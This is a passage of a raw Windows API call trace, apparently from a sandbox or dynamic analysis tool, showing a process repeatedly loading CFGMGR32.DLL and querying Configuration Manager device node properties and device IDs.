(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.141] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.142] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.143] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.144] malloc (_Size=0x18) returned 0x196ef0d1a60 [0183.144] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x13, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0183.144] malloc (_Size=0x48) returned 0x196ef0fc030 [0183.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4e042f95, dwHighDateTime=0x1d9eb0c)) [0183.144] SetEvent (hEvent=0x248) returned 1 [0183.146] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.146] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.149] malloc (_Size=0x18) returned 0x196ef0d1a80 [0183.149] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0183.149] malloc (_Size=0x48) returned 0x196ef0fc170 [0183.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e042f95, dwHighDateTime=0x1d9eb0c)) [0183.149] SetEvent (hEvent=0x248) returned 1 [0183.237] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.237] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.238] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.239] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.241] malloc (_Size=0x18) returned 0x196ef0d1e60 [0183.241] CM_Get_Device_IDA (in: dnDevInst=0x14, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0C01\\2&DABA3FF&0") returned 0x0 [0183.241] malloc (_Size=0x48) returned 0x196ef0fbae0 [0183.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4e127b20, dwHighDateTime=0x1d9eb0c)) [0183.241] SetEvent (hEvent=0x248) returned 1 [0183.244] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.244] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.244] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.245] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.248] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0183.248] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0183.248] malloc (_Size=0x5a) returned 0x196ef0d0610 [0183.248] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0610, pulLength=0x67117d608) returned 0x0 [0183.249] free (_Block=0x196ef0d0610) [0183.249] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0183.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4e14dd25, dwHighDateTime=0x1d9eb0c)) [0183.249] SetEvent (hEvent=0x248) returned 1 [0183.251] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0183.251] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0183.251] free (_Block=0x196ef0d1ca0) [0183.251] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0183.251] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0183.251] free (_Block=0x196ef0d1ba0) [0183.251] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0183.251] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0183.251] free (_Block=0x196ef0d1ce0) [0183.252] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856ae0 [0183.252] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0183.252] SafeArrayGetLBound (in: psa=0x196ef1f2af0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0183.252] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0183.252] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0183.252] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0183.252] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0183.252] SafeArrayGetElemsize (psa=0x196ef1f2af0) returned 0x8 [0183.252] SafeArrayGetElement (in: psa=0x196ef1f2af0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0183.252] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.253] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.253] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6c0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.253] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0183.253] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856ae0) returned 1 [0183.254] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.254] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.254] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.255] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.256] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.257] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.257] malloc (_Size=0x18) returned 0x196ef0d1980 [0183.257] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0183.257] malloc (_Size=0x48) returned 0x196ef0fbc70 [0183.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4e14dd25, dwHighDateTime=0x1d9eb0c)) [0183.257] SetEvent (hEvent=0x248) returned 1 [0183.259] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.259] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.262] malloc (_Size=0x18) returned 0x196ef0d1e60 [0183.262] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.268] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0183.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e17d20b, dwHighDateTime=0x1d9eb0c)) [0183.268] SetEvent (hEvent=0x248) returned 1 [0183.270] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.270] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.273] malloc (_Size=0x18) returned 0x196ef0d20e0 [0183.274] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.274] malloc (_Size=0x48) returned 0x196ef0fc080 [0183.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e17d20b, dwHighDateTime=0x1d9eb0c)) [0183.274] SetEvent (hEvent=0x248) returned 1 [0183.377] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.377] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 